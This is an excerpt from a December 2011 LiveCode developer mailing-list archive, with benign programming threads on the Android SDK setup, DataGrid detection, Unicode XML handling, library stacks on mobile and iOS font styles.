> > The font names for iOS 5 are here: . iOS 4 has all the Arials too. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bdrunrev at gmail.com Thu Dec 22 10:39:42 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 22 Dec 2011 15:39:42 +0000 Subject: revAndroidPlugin and the Android SDK In-Reply-To: <04dd01ccc0b7$f6c58630$e4509290$@net> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> <006501ccc03e$77d45050$677cf0f0$@net> <04dd01ccc0b7$f6c58630$e4509290$@net> Message-ID: It sounds familiar. There was a discussion on the mailing list about a missing aapt.exe before. Look for the thread "LiveCode for Android under Windows" Bernard On Thu, Dec 22, 2011 at 2:42 PM, Ralph DiMola wrote: > main prefs liked the plug-in tells me: "That is not a usable SDK root: > missing aapt tool, make sure your SDK install has not been corrupted". Is > this the same problem that LC proper had when the SDK upgraded to I think > v12 and LC had to adjust their validation technique? From pete at mollysrevenge.com Thu Dec 22 11:45:33 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 08:45:33 -0800 Subject: Is Control a DataGrid In-Reply-To: References: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> <4EF2D206.4060709@pdslabs.net> Message-ID: You can also check the dgProps["control type"]. For datagrids, this is set to "Data Grid". On Thu, Dec 22, 2011 at 7:03 AM, Todd Geist wrote: > Thanks! > > On Wed, Dec 21, 2011 at 10:45 PM, Phil Davis wrote: > > > Hi Todd, > > > > This should work unless you use 'dgControl' as your own custom prop name > > anywhere: > > > > if the dgControl of control x = empty then -- this is NOT a DG > > -- do stuff here > > end if > > > > Phil Davis > > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From rdimola at evergreeninfo.net Thu Dec 22 11:56:40 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 22 Dec 2011 11:56:40 -0500 Subject: revAndroidPlugin and the Android SDK In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> <006501ccc03e$77d45050$677cf0f0$@net> <04dd01ccc0b7$f6c58630$e4509290$@net> Message-ID: <04ff01ccc0ca$ad516060$07f42120$@net> Bernard, All fixed. THANKS!!! I knew there was an old issue but couldn't remember the exact file whose existence was being verified. Ralph DiMola IT Director Evergreen Information Services Phone: 518-636-3998 Ex:11 Cell: 518-796-9332 -----Original Message----- From: use-livecode-bounces at lists.runrev.com [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Bernard Devlin Sent: Thursday, December 22, 2011 10:40 AM To: How to use LiveCode Subject: Re: revAndroidPlugin and the Android SDK It sounds familiar. There was a discussion on the mailing list about a missing aapt.exe before. Look for the thread "LiveCode for Android under Windows" Bernard On Thu, Dec 22, 2011 at 2:42 PM, Ralph DiMola wrote: > main prefs liked the plug-in tells me: "That is not a usable SDK root: > missing aapt tool, make sure your SDK install has not been corrupted". Is > this the same problem that LC proper had when the SDK upgraded to I think > v12 and LC had to adjust their validation technique? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 22 12:06:59 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 09:06:59 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> Message-ID: Open the sqLite_master table. In it you will find a column called SQL with entries for how to create each table. Bob On Dec 21, 2011, at 2:08 PM, Pete wrote: > I think I tried that but the arguments aren't always comma delimited > unfortunately. Somewhat related,I wish SQLite provided more formatted > access to the table structures. Some stuff is available via the PRAGMA > statements but for other information, there's no alternative but to parse > the CREATE TABLE statement. I think I found a series of SQL statements > once that built the equivalent of mySQL Information tables for SQLite but > now I can't find it! > > > On Wed, Dec 21, 2011 at 1:49 PM, Bob Sneidar wrote: > >> OIC good point. But wouldn't it be better simply isolate the comma >> delimited arguments (usually in parens) in an SQL statement and then deal >> with them as items? But I suppose there are all kinds of special >> circumstances that would make a general purpose word function very unwieldy. >> >> Bob >> >> On Dec 21, 2011, at 1:17 PM, Pete wrote: >> >>> Not really - try parsing out an SQL SELECT statement. Granted that's not >>> really English text but if you want to make this a general purpose >>> function, you have to deal with that circumstance. I needed to do that >> and >>> ended up going through the text and inserting a space after each comma if >>> there wasn't already one there. >>> >>> On Wed, Dec 21, 2011 at 12:54 PM, Bob Sneidar wrote: >>> >>>> I suppose it could be argued that everything would break down if the >> text >>>> were "now,is,the,time,for,all,goo,men..." but at some point we have to >>>> presume the absence of the absurd? to have 2 words split by a comma is a >>>> problem with the data, not with the software. >>>> >>>> Bob >>>> >>>> >>>> On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: >>>> >>>>> Yes, but... if the phrase is "now is the time,for all good men" then a >>>>> search for "all" will return 5 instead of 6. >>>>> >>>>> -- >>>>> -Mark Wieder >>>>> mwieder at ahsoftware.net >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>> >>> >>> -- >>> Pete >>> Molly's Revenge >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 22 12:09:19 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 09:09:19 -0800 Subject: is among the words AND find words In-Reply-To: <33E04D50-BF28-46FD-9F5B-D71EE9D67CBC@sbcglobal.net> References: <33E04D50-BF28-46FD-9F5B-D71EE9D67CBC@sbcglobal.net> Message-ID: On Dec 22, 2011, at 7:17 AM, Jim Hurley wrote: > Dave, > > Ah! Those mighty regular expressions. Soooom day I'll have to study up on them. DO YOU VALUE YOUR SANITY??? DON'T DO IT!!!! From bobs at twft.com Thu Dec 22 12:13:15 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 09:13:15 -0800 Subject: Is Control a DataGrid In-Reply-To: References: Message-ID: I name all my datagrids starting with "dg", as I name fields with "fld", labels with "lbl" buttons with "btn" etc. It's been discussed before, but a consistent naming convention comes in real handy at times, and makes sorting by kind in a list of objects possible. Bob On Dec 21, 2011, at 9:21 PM, Todd Geist wrote: > Hello, > > When Looping through controls on a card, how does one determine if the > current control is a DataGrid? > > Actually I want to know that it is NOT a DataGrid. > > Thanks > > Todd > > -- > Todd Geist > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Thu Dec 22 12:34:26 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 09:34:26 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> Message-ID: Yes, I know about that but the project I'm working on requires me to parse out all the individual elements of the CREATE statement, not actually create the table. The PRAGMA commands provide some information about the table but you have to parse the CREATE command to get the rest. On Thu, Dec 22, 2011 at 9:06 AM, Bob Sneidar wrote: > Open the sqLite_master table. In it you will find a column called SQL with > entries for how to create each table. > > Bob > > > On Dec 21, 2011, at 2:08 PM, Pete wrote: > > > I think I tried that but the arguments aren't always comma delimited > > unfortunately. Somewhat related,I wish SQLite provided more formatted > > access to the table structures. Some stuff is available via the PRAGMA > > statements but for other information, there's no alternative but to parse > > the CREATE TABLE statement. I think I found a series of SQL statements > > once that built the equivalent of mySQL Information tables for SQLite but > > now I can't find it! > > > > > > On Wed, Dec 21, 2011 at 1:49 PM, Bob Sneidar wrote: > > > >> OIC good point. But wouldn't it be better simply isolate the comma > >> delimited arguments (usually in parens) in an SQL statement and then > deal > >> with them as items? But I suppose there are all kinds of special > >> circumstances that would make a general purpose word function very > unwieldy. > >> > >> Bob > >> > >> On Dec 21, 2011, at 1:17 PM, Pete wrote: > >> > >>> Not really - try parsing out an SQL SELECT statement. Granted that's > not > >>> really English text but if you want to make this a general purpose > >>> function, you have to deal with that circumstance. I needed to do that > >> and > >>> ended up going through the text and inserting a space after each comma > if > >>> there wasn't already one there. > >>> > >>> On Wed, Dec 21, 2011 at 12:54 PM, Bob Sneidar wrote: > >>> > >>>> I suppose it could be argued that everything would break down if the > >> text > >>>> were "now,is,the,time,for,all,goo,men..." but at some point we have to > >>>> presume the absence of the absurd? to have 2 words split by a comma > is a > >>>> problem with the data, not with the software. > >>>> > >>>> Bob > >>>> > >>>> > >>>> On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: > >>>> > >>>>> Yes, but... if the phrase is "now is the time,for all good men" then > a > >>>>> search for "all" will return 5 instead of 6. > >>>>> > >>>>> -- > >>>>> -Mark Wieder > >>>>> mwieder at ahsoftware.net > >>>> > >>>> > >>>> _______________________________________________ > >>>> use-livecode mailing list > >>>> use-livecode at lists.runrev.com > >>>> Please visit this url to subscribe, unsubscribe and manage your > >>>> subscription preferences: > >>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>>> > >>>> > >>> > >>> > >>> -- > >>> Pete > >>> Molly's Revenge > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From todd at geistinteractive.com Thu Dec 22 12:44:56 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 22 Dec 2011 09:44:56 -0800 Subject: Is Control a DataGrid In-Reply-To: References: Message-ID: In this case I am making a Palette that pops up when groups are selected. I need to rule out groups that are inappropriate for the palette. The data grid is one such group. Since this code may make it into the wild someday I can't rely on other people naming conventions to make this work. While I applaud naming conventions for making things easier to read and understand, I don't use them for logic. I think it introduces unnecessary fragility, even if it is just for your own code. Todd On Thu, Dec 22, 2011 at 9:13 AM, Bob Sneidar wrote: > I name all my datagrids starting with "dg", as I name fields with "fld", > labels with "lbl" buttons with "btn" etc. It's been discussed before, but a > consistent naming convention comes in real handy at times, and makes > sorting by kind in a list of objects possible. > > Bob > > From irog at mac.com Thu Dec 22 13:11:35 2011 From: irog at mac.com (Roger Guay) Date: Thu, 22 Dec 2011 10:11:35 -0800 Subject: Thanks to Scott Rossi In-Reply-To: References: Message-ID: <3D7F9CA7-202A-4EAB-832A-5F9BBC4E5017@mac.com> Hi All, A special thanks to Scott Rossi who again gives us an elegant gift in the latest revUP. And a wish for a Happy Holiday to all of you on this great list! Thanks and cheers, Roger Guay From mark_powell at symantec.com Thu Dec 22 13:18:34 2011 From: mark_powell at symantec.com (Mark Powell) Date: Thu, 22 Dec 2011 10:18:34 -0800 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: <3469AF22E7D82A46A12B6612437B8DF5029F4DBEE2@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> > The problem with any of these overhead solutions is that > it is really hard to get the lighting right. In fact it > is darn near impossible. > Todd Certainly very difficult but not impossible. See the 'Touching the iPad' module here http://www.lynda.com/iPad-tutorials/tips-and-tricks/68383-2.html In my book, Lynda.com is the standard for setting up online training environments. How they capture iPad demos with full practical gestures is flawless to the point of myth. Mark From cmsheffield at me.com Thu Dec 22 13:34:31 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 22 Dec 2011 11:34:31 -0700 Subject: iOS: text styles In-Reply-To: <4EF2A3BC.6040104@hyperactivesw.com> References: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> <4EF2A3BC.6040104@hyperactivesw.com> Message-ID: <4AE7580E-5A80-4044-BAA8-EBC978BE0BC2@me.com> Yay, this worked! Thanks again for the suggestion. Don't think I would have thought of it on my own. Chris On Dec 21, 2011, at 8:27 PM, J. Landman Gay wrote: > On 12/21/11 4:42 PM, Chris Sheffield wrote: > >> Set the standalone settings for iPad, etc. Launch it in the >> simulator. Does the word "are" appear in italics? It doesn't for me. >> Should it? The same thing works fine in the IDE. But when run in the >> simulator or on a device the text is not styled. I did just try using >> Helvetica instead of Arial and that seems to work okay. >> Unfortunately, I need Arial and not Helvetica. > > > I vaguely recall something similar happening to me. What I think is going on is that iOS won't generate fake styles like bold and italic; it will only use fonts that have separate style faces in the font family. I haven't tried it, but it might work to set the font name rather than the style: > >

Howdy! How are you today?

> > The font names for iOS 5 are here: . iOS 4 has all the Arials too. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at me.com Thu Dec 22 13:47:30 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 22 Dec 2011 11:47:30 -0700 Subject: iOS and xml: I don't understand unicode... Message-ID: I need help. In more ways than one, but that's beside the point... I have a utf-8 encoded xml file that I'm reading data from for display in a text field. Everything seems to work just fine except for certain unicode characters, such as the em dash ("?"). When I read in the text and then set the htmlText property of the field, those characters are getting garbled. Am I just not understanding how unicode works? Do I need to do something special to make these characters appear correctly? What's strange is I can get that same character by using numToChar(209) in the LiveCode message box, but the character that is in my file does not seem to be the same one, even though on screen it looks identical. If I test it with something like: if numToChar(209) is in myText then it returns false. I'm stumped. Any help would be greatly appreciated. Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From bobs at twft.com Thu Dec 22 13:52:56 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 10:52:56 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> Message-ID: <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> Drat, I had a function that did this very thing, but I replaced it with the dbschema_getTable() function in sqlYoga which returns everything you would want to know about a table schema. I was not aware that the CREATE TABLE command worked with sqLite. Bob On Dec 22, 2011, at 9:34 AM, Pete wrote: > Yes, I know about that but the project I'm working on requires me to parse > out all the individual elements of the CREATE statement, not actually > create the table. The PRAGMA commands provide some information about the > table but you have to parse the CREATE command to get the rest. From rdimola at evergreeninfo.net Thu Dec 22 14:09:42 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 22 Dec 2011 14:09:42 -0500 Subject: Library Stack and Mobile In-Reply-To: <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> Message-ID: <050801ccc0dd$43554970$c9ffdc50$@net> I know this have been visited and read the forums, but still can't get library stack to work on mobile. I am testing on Android but will also be deploying to iOS. I put the library stack into the plug-in folder with a on preOpenStack start using this stack end preOpenStack This makes it only available if you open LC first THEN open your app stack. If LC is closed and you click on a app stack the library is not available. This was easily fixed by putting 'start using stack "EIS_Library"' in the preOpenStack in the app stack. I can't get the 'start using stack "EIS_Library"' to work on Android. I included the library stack in the standalone application setting in the stacks tab. This also makes it appear in the property inspector "stack files" when inspecting the main app stack. I hit the test button to the test on the device and the "start using stack "EIS_Library" throws an error. Am I missing something? Thanks! Ralph DiMola IT Director Evergreen Information Services From m.schonewille at economy-x-talk.com Thu Dec 22 14:13:20 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 22 Dec 2011 20:13:20 +0100 Subject: iOS and xml: I don't understand unicode... In-Reply-To: References: Message-ID: Hi Chris, Read the file as binary, e.g. into variable myVar and then convert it with put uniDecode(uniEncode(myVar,"UTF8")) into myVar Now you can load the XML tree that's in myVar or parse it as standard ASCII text. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 19:47, Chris Sheffield wrote: > I need help. In more ways than one, but that's beside the point... > > I have a utf-8 encoded xml file that I'm reading data from for display in a text field. Everything seems to work just fine except for certain unicode characters, such as the em dash ("?"). When I read in the text and then set the htmlText property of the field, those characters are getting garbled. Am I just not understanding how unicode works? Do I need to do something special to make these characters appear correctly? > > What's strange is I can get that same character by using numToChar(209) in the LiveCode message box, but the character that is in my file does not seem to be the same one, even though on screen it looks identical. If I test it with something like: > > if numToChar(209) is in myText then > > it returns false. I'm stumped. > > Any help would be greatly appreciated. > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > From cmsheffield at me.com Thu Dec 22 14:32:39 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 22 Dec 2011 12:32:39 -0700 Subject: iOS and xml: I don't understand unicode... In-Reply-To: References: Message-ID: <9D873B68-F47C-4EDF-ACEB-CCC0B37390CD@me.com> Mark, Yes! That works. Thank you so much! Chris On Dec 22, 2011, at 12:13 PM, Mark Schonewille wrote: > Hi Chris, > > Read the file as binary, e.g. into variable myVar and then convert it with > > put uniDecode(uniEncode(myVar,"UTF8")) into myVar > > Now you can load the XML tree that's in myVar or parse it as standard ASCII text. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > On 22 dec 2011, at 19:47, Chris Sheffield wrote: > >> I need help. In more ways than one, but that's beside the point... >> >> I have a utf-8 encoded xml file that I'm reading data from for display in a text field. Everything seems to work just fine except for certain unicode characters, such as the em dash ("?"). When I read in the text and then set the htmlText property of the field, those characters are getting garbled. Am I just not understanding how unicode works? Do I need to do something special to make these characters appear correctly? >> >> What's strange is I can get that same character by using numToChar(209) in the LiveCode message box, but the character that is in my file does not seem to be the same one, even though on screen it looks identical. If I test it with something like: >> >> if numToChar(209) is in myText then >> >> it returns false. I'm stumped. >> >> Any help would be greatly appreciated. >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 22 14:55:46 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 22 Dec 2011 13:55:46 -0600 Subject: iOS: text styles In-Reply-To: <4AE7580E-5A80-4044-BAA8-EBC978BE0BC2@me.com> References: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> <4EF2A3BC.6040104@hyperactivesw.com> <4AE7580E-5A80-4044-BAA8-EBC978BE0BC2@me.com> Message-ID: <4EF38B42.8080601@hyperactivesw.com> Great! I was speculating, so thanks for posting. I'll try to remember that trick. On 12/22/11 12:34 PM, Chris Sheffield wrote: > Yay, this worked! Thanks again for the suggestion. Don't think I would have thought of it on my own. > > Chris > > > On Dec 21, 2011, at 8:27 PM, J. Landman Gay wrote: > >> On 12/21/11 4:42 PM, Chris Sheffield wrote: >> >>> Set the standalone settings for iPad, etc. Launch it in the >>> simulator. Does the word "are" appear in italics? It doesn't for me. >>> Should it? The same thing works fine in the IDE. But when run in the >>> simulator or on a device the text is not styled. I did just try using >>> Helvetica instead of Arial and that seems to work okay. >>> Unfortunately, I need Arial and not Helvetica. >> >> >> I vaguely recall something similar happening to me. What I think is going on is that iOS won't generate fake styles like bold and italic; it will only use fonts that have separate style faces in the font family. I haven't tried it, but it might work to set the font name rather than the style: >> >>

Howdy! Howare you today?

-- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu Dec 22 15:20:44 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 22 Dec 2011 14:20:44 -0600 Subject: Library Stack and Mobile In-Reply-To: <050801ccc0dd$43554970$c9ffdc50$@net> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> <050801ccc0dd$43554970$c9ffdc50$@net> Message-ID: <4EF3911C.2000503@hyperactivesw.com> On 12/22/11 1:09 PM, Ralph DiMola wrote: > I know this have been visited and read the forums, but still can't get > library stack to work on mobile. I am testing on Android but will also be > deploying to iOS. > > I put the library stack into the plug-in folder with a > > on preOpenStack > start using this stack > end preOpenStack > > This makes it only available if you open LC first THEN open your app stack. > If LC is closed and you click on a app stack the library is not available. > This was easily fixed by putting 'start using stack "EIS_Library"' in the > preOpenStack in the app stack. Instead, go the Plugins Settings in the Development->Plugins menu. Select your library stack from the popdown. Set it to open when "Revolution starts up". In the list at the right, select the line "revPreOpenStack". Then in your library stack, change your preOpenStack handler to a "revPreOpenstack" handler. LiveCode will now automatically open your stack at every launch, and send a "revPreOpenstack" message to it. The library will load whenever the IDE opens. > > I can't get the 'start using stack "EIS_Library"' to work on Android. I > included the library stack in the standalone application setting in the > stacks tab. This also makes it appear in the property inspector "stack > files" when inspecting the main app stack. > > I hit the test button to the test on the device and the "start using stack > "EIS_Library" throws an error. I'd think that should work, but mobile may not be interpreting the file locations the same way as the desktop apps do. On mobile, many of the file folders are virtual. Instead of including it in the stacks pane, try including it in the Copy Files pane. The stack will be copied to the same folder as the engine in your mobile standalone. You can refer to it in your scripts with an engine-relative file path, and start using that: put specialFolderPath("engine") & "/EIS_Library.livecode" into tPath start using stack tPath Untested, but should work. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From keith at gulfbreezeortholab.com Thu Dec 22 15:31:19 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 22 Dec 2011 14:31:19 -0600 Subject: File time off by an hour... In-Reply-To: References: <9552C235B53A479C8ACD784BE5B041FC@KeithPC> Message-ID: Thanks Bernard. I put together some code that will work for practical purposes (i.e., utilizing internet time and time zone), but it's still not a perfect solution. For now, I will just list the file dates without times... Cheers from Florida, - Boo -----Original Message----- From: Bernard Devlin Sent: Thursday, December 22, 2011 3:12 AM To: How to use LiveCode Subject: Re: File time off by an hour... Keith, It seems this issue has come up with Windows and other programming languages (included those supplied by Microsoft!) http://stackoverflow.com/questions/4605983/io-file-getlastaccesstime-is-off-by-one-hour http://stackoverflow.com/questions/6009902/different-timestamps-under-winxp-win7-and-vb-net In one of the above examples, the user is on CST (maybe that is a factor). There have been discussions on the list before about converting date-times between seconds and e.g. internet time. Instead of using the short date & time, why don't you run through your file list, and convert the file time into a list of values, e.g. short date and time, internet date, etc. You may find with one of them the difference disappears. Also, you could try setting the useSystemDate to true v. false, and see what you get. This is a tricky area (really we should all just be on GMT!), as evinced by the two discussions above from Stack Overflow. Bernard On Thu, Dec 22, 2011 at 12:08 AM, Keith (Gulf Breeze Ortho Lab) wrote: > Hmmmm. No responses to this. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Thu Dec 22 15:38:38 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 12:38:38 -0800 Subject: Is Control a DataGrid In-Reply-To: References: Message-ID: Hi Todd, If your code might go out into the wild, I think the dgProps["control type"] property I mentioned might be slightly safer than using the dgcontrol property, just because it's highly unlikely anyone would have a dgProps custom property set outside of a datagrid whereas it's not inconceivable that might have dgcontrol property in the default custom keys property set. Pete On Thu, Dec 22, 2011 at 9:44 AM, Todd Geist wrote: > In this case I am making a Palette that pops up when groups are selected. > I need to rule out groups that are inappropriate for the palette. The data > grid is one such group. Since this code may make it into the wild someday > I can't rely on other people naming conventions to make this work. > > While I applaud naming conventions for making things easier to read and > understand, I don't use them for logic. I think it introduces unnecessary > fragility, even if it is just for your own code. > > Todd > > On Thu, Dec 22, 2011 at 9:13 AM, Bob Sneidar wrote: > > > I name all my datagrids starting with "dg", as I name fields with "fld", > > labels with "lbl" buttons with "btn" etc. It's been discussed before, > but a > > consistent naming convention comes in real handy at times, and makes > > sorting by kind in a list of objects possible. > > > > Bob > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From revdev at pdslabs.net Thu Dec 22 16:03:10 2011 From: revdev at pdslabs.net (Phil Davis) Date: Thu, 22 Dec 2011 13:03:10 -0800 Subject: Is Control a DataGrid In-Reply-To: References: Message-ID: <4EF39B0E.7040107@pdslabs.net> I like dgProps["control type"] too. I was unaware of it. Phil On 12/22/11 12:38 PM, Pete wrote: > Hi Todd, > If your code might go out into the wild, I think the dgProps["control > type"] property I mentioned might be slightly safer than using the > dgcontrol property, just because it's highly unlikely anyone would have a > dgProps custom property set outside of a datagrid whereas it's not > inconceivable that might have dgcontrol property in the default custom keys > property set. > Pete > > On Thu, Dec 22, 2011 at 9:44 AM, Todd Geistwrote: > >> In this case I am making a Palette that pops up when groups are selected. >> I need to rule out groups that are inappropriate for the palette. The data >> grid is one such group. Since this code may make it into the wild someday >> I can't rely on other people naming conventions to make this work. >> >> While I applaud naming conventions for making things easier to read and >> understand, I don't use them for logic. I think it introduces unnecessary >> fragility, even if it is just for your own code. >> >> Todd >> >> On Thu, Dec 22, 2011 at 9:13 AM, Bob Sneidar wrote: >> >>> I name all my datagrids starting with "dg", as I name fields with "fld", >>> labels with "lbl" buttons with "btn" etc. It's been discussed before, >> but a >>> consistent naming convention comes in real handy at times, and makes >>> sorting by kind in a list of objects possible. >>> >>> Bob >>> >>> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From jacque at hyperactivesw.com Thu Dec 22 16:03:57 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 22 Dec 2011 15:03:57 -0600 Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF28115.60405@hindu.org> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF28115.60405@hindu.org> Message-ID: <4EF39B3D.70900@hyperactivesw.com> On 12/21/11 7:00 PM, Sivakatirswami wrote: > well I got this far.. I tinkered with this a little bit last night because I thought a regex solution would work, but my skills aren't good enough. So I ended up with something similar to what you've already done. > #I think there is a better trim leading/trailing space function I saw > years ago... I think you're looking for: put word 1 to -1 of aSentence into aSentence > replace "!" with "! " in aSentence > > # doesn't help unless next word is in my dictionary. > # so I need something to "see" exclamation marks as delimiters, not sure > # how to tackle that if dot is already set as delimiter I tried using tokens instead of words, which avoids a lot of the problem. > > function capitalizeWords theWord > put "ganesha, pancha, gurudeva!,gurudev!,Satguru, ganapathi, ganapati, > yogaswami, siva, shiva, muruga, bodhinatha,lord, nataraja, aum" into > tCapsDictionary > > set the itemdel to comma > > if tCapsDictionary contains theWord then > > --if theWord is among the items of 